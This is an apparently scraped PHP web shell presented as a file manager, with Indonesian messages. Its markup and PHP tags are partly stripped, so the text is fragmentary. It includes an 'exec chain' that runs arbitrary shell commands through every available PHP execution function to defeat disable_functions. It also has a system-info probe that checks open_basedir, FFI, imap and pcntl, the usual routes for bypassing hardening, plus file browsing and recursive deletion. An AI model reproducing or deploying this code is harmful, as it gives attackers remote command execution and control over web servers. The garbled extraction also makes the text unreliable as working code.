=h($e['out'])?>
$raw, 'input' => $input, 'root' => fm_root(), 'resolved' => null, 'kind' => 'relative', ); if ($input === '' || $input === '/') { return array('rel' => '', 'err' => null, 'info' => $info); } if (strpos($input, "\0") !== false) { return array('rel' => null, 'err' => 'Input mengandung byte null.', 'info' => $info); } $root = fm_root(); $rootSlash = $root . '/'; $inside = function ($path) use ($root, $rootSlash) { return $path === $root || strpos($path . '/', $rootSlash) === 0; }; $rel_of = function ($path) use ($root, $rootSlash) { return ($path === $root) ? '' : substr($path, strlen($rootSlash)); }; if ($input[0] === '/') { $info['kind'] = 'absolute'; $real = @realpath($input); if ($real !== false) { $info['resolved'] = $real; if ($inside($real)) { return array('rel' => $rel_of($real), 'err' => null, 'info' => $info); } return array('rel' => null, 'err' => sprintf('Path %s → resolve %s, di luar root %s.', $input, $real, $root), 'info' => $info); } if ($input === $root) { return array('rel' => '', 'err' => null, 'info' => $info); } if (strpos($input, $rootSlash) === 0) { $rel = substr($input, strlen($rootSlash)); $info['resolved'] = $root . '/' . $rel; return array('rel' => $rel, 'err' => null, 'info' => $info); } $try = ltrim($input, '/'); $tryAbs = $rootSlash . $try; if (is_dir($tryAbs) || is_file($tryAbs)) { $info['kind'] = 'absolute-fallback-relatif'; $info['resolved'] = $tryAbs; return array('rel' => $try, 'err' => null, 'info' => $info); } return array('rel' => null, 'err' => sprintf('Path %s tidak ada dan tidak di bawah root %s.', $input, $root), 'info' => $info); } $rel = trim($input, '/'); $full = $rootSlash . $rel; $real = @realpath($full); if ($real !== false) { $info['resolved'] = $real; if ($inside($real)) { return array('rel' => $rel_of($real), 'err' => null, 'info' => $info); } return array('rel' => null, 'err' => sprintf('Relatif %s → resolve %s, di luar root.', $input, $real), 'info' => $info); } $info['resolved'] = $full; return array('rel' => $rel, 'err' => null, 'info' => $info); } function fm_rel($abs) { $root = fm_root(); if ($abs === $root) return ''; return ltrim(substr($abs, strlen($root)), '/'); } function fm_url($params = array()) { $q = $_GET; foreach ($params as $k => $v) $q[$k] = $v; return '?' . http_build_query($q); } function fm_size($bytes) { $u = array('B','KB','MB','GB','TB'); $i = 0; while ($bytes >= 1024 && $i < count($u) - 1) { $bytes /= 1024; $i++; } return round($bytes, 2) . ' ' . $u[$i]; } function fm_csrf() { if (empty($_SESSION['fm_csrf'])) $_SESSION['fm_csrf'] = bin2hex(random_bytes(16)); return $_SESSION['fm_csrf']; } function fm_check_csrf() { if (!hash_equals(fm_csrf(), $_POST['csrf'] ?? '')) { http_response_code(400); exit('Invalid CSRF token'); } } function fm_flash($msg, $type = 'ok') { $_SESSION['fm_flash'] = array('m' => $msg, 't' => $type); } function fm_take_flash() { if (empty($_SESSION['fm_flash'])) return null; $f = $_SESSION['fm_flash']; unset($_SESSION['fm_flash']); return $f; } function fm_rmdir_recursive($dir) { $ok = true; $items = @scandir($dir); if ($items === false) return false; foreach ($items as $it) { if ($it === '.' || $it === '..') continue; $p = $dir . '/' . $it; if (is_dir($p) && !is_link($p)) $ok = $ok && fm_rmdir_recursive($p); else $ok = $ok && @unlink($p); } return $ok && @rmdir($dir); } /* ------------------------- TERMINAL: EXEC CHAIN ------------------------- */ function fm_exec($cmd) { $cmd = (string)$cmd; if (trim($cmd) === '') { return array('out' => '', 'err' => 'Command kosong.', 'fn' => ''); } if (function_exists('system')) { ob_start(); @system($cmd . ' 2>&1', $ret); return array('out' => ob_get_clean(), 'err' => $ret ? "exit=$ret" : '', 'fn' => 'system'); } if (function_exists('shell_exec')) { return array('out' => (string)@shell_exec($cmd . ' 2>&1'), 'err' => '', 'fn' => 'shell_exec'); } if (function_exists('exec')) { $lines = array(); @exec($cmd . ' 2>&1', $lines, $ret); return array('out' => implode("\n", $lines), 'err' => $ret ? "exit=$ret" : '', 'fn' => 'exec'); } if (function_exists('passthru')) { ob_start(); @passthru($cmd . ' 2>&1', $ret); return array('out' => ob_get_clean(), 'err' => $ret ? "exit=$ret" : '', 'fn' => 'passthru'); } if (function_exists('popen')) { $h = @popen($cmd . ' 2>&1', 'r'); if ($h) { $out = ''; while (!feof($h)) $out .= fread($h, 8192); pclose($h); return array('out' => $out, 'err' => '', 'fn' => 'popen'); } } if (function_exists('proc_open')) { $desc = array(1 => array('pipe','w'), 2 => array('pipe','w')); $p = @proc_open($cmd, $desc, $pipes); if (is_resource($p)) { $out = stream_get_contents($pipes[1]); $err = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($p); return array('out' => $out, 'err' => $err, 'fn' => 'proc_open'); } } if (function_exists('shell_exec')) { return array('out' => (string)@`$cmd 2>&1`, 'err' => '', 'fn' => 'backtick'); } return array('out' => '', 'err' => 'Semua fungsi eksekusi diblokir.', 'fn' => 'none'); } function fm_sysinfo() { $disabled = ini_get('disable_functions'); $check = array('system','shell_exec','exec','passthru','popen','proc_open','pcntl_exec','putenv','mail','dl','imap_open','curl_exec','file_get_contents','file_put_contents','scandir','glob'); $funcs = array(); foreach ($check as $f) $funcs[$f] = function_exists($f); return array( 'php_version' => PHP_VERSION, 'os' => PHP_OS, 'user' => function_exists('get_current_user') ? @get_current_user() : '?', 'cwd' => function_exists('getcwd') ? @getcwd() : '?', 'disable_functions' => $disabled ?: '(none)', 'open_basedir' => ini_get('open_basedir') ?: '(none)', 'safe_mode' => ini_get('safe_mode') ?: 'Off', 'ffi_enabled' => extension_loaded('FFI'), 'imap_loaded' => extension_loaded('imap'), 'pcntl_loaded' => extension_loaded('pcntl'), 'funcs' => $funcs, ); } /* ------------------------- AUTH ------------------------- */ if (isset($_GET['logout'])) { $_SESSION = array(); session_destroy(); header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?')); exit; } if (!isset($_SESSION['fm_ok'])) { $err = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['u'], $_POST['p'])) { if ($_POST['u'] === FM_USER && hash_equals(FM_PASS, $_POST['p'])) { session_regenerate_id(true); $_SESSION['fm_ok'] = true; header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?')); exit; } $err = 'Username / password salah.'; } ?>
| PHP | =h($sys['php_version'])?> |
| OS | =h($sys['os'])?> |
| User | =h($sys['user'])?> |
| CWD | =h($sys['cwd'])?> |
| disable_functions | =h($sys['disable_functions'])?> |
| open_basedir | =h($sys['open_basedir'])?> |
| safe_mode | =h($sys['safe_mode'])?> |
| FFI / imap / pcntl | =($sys['ffi_enabled']?'FFI:on ':'FFI:off ')?>=($sys['imap_loaded']?'imap:on ':'imap:off ')?>=($sys['pcntl_loaded']?'pcntl:on':'pcntl:off')?> |
=h($e['out'])?>
=h($file)?>
| Nama | Ukuran | Diubah | Aksi |
|---|---|---|---|
| 📁 .. | |||
| Folder kosong. | |||
| 📁 =h($d)?> | — | =$mtime ? date('Y-m-d H:i', $mtime) : '—'?> |
|
| 📄 =h($f)?> | =$size !== false ? fm_size($size) : '—'?> | =$mtime ? date('Y-m-d H:i', $mtime) : '—'?> | |
Root: =h(fm_root())?> · Permissions: =substr(sprintf('%o', @fileperms($dirAbs)), -4)?>